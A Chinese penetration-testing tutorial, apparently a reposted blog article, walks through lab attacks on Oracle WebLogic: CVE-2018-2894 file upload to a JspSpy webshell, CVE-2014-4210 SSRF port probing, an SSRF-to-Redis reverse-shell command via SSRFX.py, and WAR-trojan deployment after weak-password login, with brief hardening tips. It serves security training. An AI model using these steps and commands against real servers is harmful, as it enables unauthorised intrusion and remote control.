渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

admin 2021年12月3日10:44:20评论112 views字数 6156阅读20分31秒阅读模式

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

简介


渗透测试-地基


该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。


请注意:


本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。


一、前言


中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。


可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的重要的工作任务。


通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!


今天会讲解到学习WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 && 后台getshell等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?


二、WebLogic渗透攻防详解


1、WebLogic Server 12.1.3详细安装


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


安装的时候将Weblogic放在Java JDK的bin目录下,防止出现因环境变量带空格导致的错误,安装过程一直点击下一步即可:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


java -jar fmw_12.1.3.0.0_wls.jar

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


安装域:


1)在电脑上找到Configuration Wizard


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


2)双击运行后,选择第一项,下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain


3)使用默认选项,下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


4)填写安装weblogic时的账户名和密码,下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


5)默认下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


6)选择管理和节点,下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


7)下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


8)输入用户名密码下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


9)默认点击创建


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


10)等待完成下一步


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


11)完成!


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


启动:

进入:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain

双击运行!


登录:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


正常访问!!


2、Weblogic 任意文件上传漏洞(CVE-2018-2894)


1)漏洞简介

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。

影响版本:

10.3.6
12.1.3
12.2.1.2
12.2.1.3

2)自搭环境注意

注意:我们前面默认安装是开发模式!此漏洞也是在开发模式下复现的,若需在生产模式下进行复现,则需要登录后台页面,点击base_domain的配置,在”高级”设置中 开启 “启用 Web 服务测试页” 选项,经过我的验证发现开启之后,不仅需要账号密码登陆,即使登陆了也没有这两处上传点。


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


3)本地漏洞复现

(1)WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为:

/ws_utc/begin.do
/ws_utc/config.do

访问ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录

C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domainserversAdminServertmp_WL_internalcom.oracle.webservices.wls.ws-testclient-app-wls_12.1.3cmprq0warcss

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


因为访问这个目录是无需权限的,提交后,点击左侧安全 -> 添加,然后上传Webshell:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


(2)格式


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


然后访问

http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

即可执行webshell:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


http://192.168.253.97:7001/ws_utc/css/config/keystore/1619702162109_JspSpy.jsp

输入密码:ninty


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


上传一句话:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


4)vulhub漏洞复现


(1)查看登录密码


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


sudo docker-compose logs | grep password

密码为:87Bhsff9


(2)启用 Web 服务测试页


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


(3)漏洞验证


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


http://192.168.253.7:7001/ws_utc/config.do

(4)我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

(5)然后点击安全 -> 增加,然后上传webshell:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


(6)获取时间戳


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


时间戳:1619703165123

(7)然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

http://192.168.253.7:7001/ws_utc/css/config/keystore/1619703338618_JspSpy.jsp


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


5)ws_utc/begin.do


在生产模式下默认不开启,在后台开启之后,需要认证!!


http://192.168.253.7:7001/ws_utc/begin.do

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


登录后,点击右上角的文件夹,上传Webshell,点击提交,并抓包:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


upload/RS_Upload_2021-04-29_13-59-49_932/import_file_name_JspSpy.jsp

然后访问:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


http://192.168.253.7:7001/ws_utc/css/upload/RS_Upload_2021-04-29_13-59-49_932/import_file_name_JspSpy.jsp


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


成功!!


6)注意事项


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

1. ws_utc/begin.do 使用的工作目录是在ws_utc/config.do中设置的Work Home Dir!!
2. 利用需要知道部署应用的web目录。
3. 在生产模式下默认不开启,在后台开启之后,需要认证

7)安全防护

1、启动生产模式后Config.do页面登录授权后才可访问
2、升级到官方最新版本,目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。
3、IPS等防御产品可以加入相应的特征;


3、Weblogic SSRF漏洞(CVE-2014-4210)


影响版本:

10.0.2.0
10.3.6.0

1)验证漏洞

(1)验证是否正常访问
访问/uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


2)抓包分析


(1)抓包


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


点击Search,并抓包,抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET。


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


(2)第一种现象:不存在的端口或IP地址


若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses, but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;80&#39;
</table>

访问不存在的端口,将返回could not connect over HTTP to server

(3)第二种现象:主机存活且端口存在


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://127.0.0.1:8080/ which did not have a valid SOAP content-type: text/html.
</table>

若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type

(4)可访问的端口(且该端口是非http协议)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;. Please ensure that your URL is correct, and the web service has deployed without error.
</table>

若开放端口不是HTTP协议但是端口开放,则会返回returned a 404 error code &#40;Not Found&#41

三种情况总结完毕!!

3)安装redis

4.x安装:

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make


(1)cp redis.conf ./src/redis.conf
(2)bind 127.0.0.1前面加上#号注释掉
注释这行语句,代表任意机器都可以登录redis
(3)protected-mode设为no
这只为NO,代表关闭安全设置
(4)启动redis-server
./src/redis-server redis.conf

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


成功开启!


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

成功搭建访问!


4)weblogic ssrf联动redis反弹shell


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


经过测试windows环境无法操作,因为浏览器回馈的有问题!换成vulhub进行联动!!

(1)需要安装环境

乌班图安装pip和python2环境已经在apache里详细演示和讲解!请回看!


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


pip install -r requirements.txt
python SSRFX.py -h

完成安装环境!

(2)现在模拟内网中存在一台Redis,我们来对他进行攻击:

在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。

存活扫描:
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --network 192.168.253.0/24 --type livedetect

端口扫描:
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --network 192.168.253.0/24 --type portscan
python SSRFX.py --url http://example.com/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --vulapp redis --type getshell --lhost 内网主机 --lport redis端口 --rhost 远程主机 --rport 监听端口

python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --vulapp redis --type getshell --lhost 127.0.0.1 --lport 6379 --rhost 192.168.253.27 --rport 8888

目前测试情况下是不成功的,本地也不成功,外部内网也不成功!那么上面的几条命令是给小伙伴们学习参考使用的!


4、Weblogic 弱口令 && 后台getshell


影响全版本!


1)弱口令爆破机制查看


爆破点检测:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

j_username=weblogic&j_password=dayu123%21&j_character_encoding=UTF-8

密码处使用了url编码混淆!

2)上传部署war木马

访问http://192.168.253.94:7001/console

点击部署,进一步点击右边的安装:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


点击上载文件:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

选择war包,点击下一步:


上传完成以后选中你上传的文件,点击下一步:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


选中作为应用程序安装,点击下一步:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


然后直接点击完成即可然后直接点击完成即可


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


选用我们安装的应用,点击启动即可:


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


3)成功webshell


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)


继续渗透即可!


4)安全防护


避免后台弱口令!!


三、总结


今天学到了WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)Weblogic 弱口令 && 后台getshell等渗透操作,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货希望小伙伴能实际操作复现一遍!


渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月3日10:44:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)http://cn-sec.com/archives/557358.html

发表评论

匿名网友 填写信息